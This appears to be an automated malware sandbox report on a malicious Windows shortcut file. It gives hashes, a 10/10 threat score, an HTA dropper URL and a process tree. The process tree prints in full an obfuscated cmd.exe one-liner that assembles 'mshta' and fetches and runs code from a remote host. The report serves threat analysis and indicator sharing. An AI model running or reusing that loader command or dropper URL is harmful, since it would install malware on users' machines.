Analysis
- max time kernel
148s - max time network
142s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:35
Static task
static1
Behavioral task
behavioral1
Sample
DOC-CB2KTF.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-CB2KTF.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-CB2KTF.lnk
- Size 1KB
- Sample260804-khe6lsbl3w
- SHA256 668b651b018ef2fab7fabb2096680c7ef9b8328dce7c96772df6bd376f3573ad
- MD5 5fe363deecc2687bd723bf907d52ae5b
- SHA1 df261cdd85411a9d9ff314f9eab4fb6123634f17
- SHA512 07a85b92dc64573d651bddd14f4e42d15ebb4b35ffdd54f03c79c8211ebae16f72f90b6cd58a44c91a6f60d4a6542d773241429dac22d2107dfaae638e33c66d
- TLSH T1A83147502FED0664F3B78F7794BB5B2485BAB8568E30CB2E0141454C5072A15E53AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1060 cmd.exe 4488 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1060 wrote to memory of 4488 1060 cmd.exe 91 PID 4488 wrote to memory of 4932 4488 cmd.exe 92
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-CB2KTF.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1060 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set tmPY=msh&&set tWe=ta&&start "" !tmPY!!tWe! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4488 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4932
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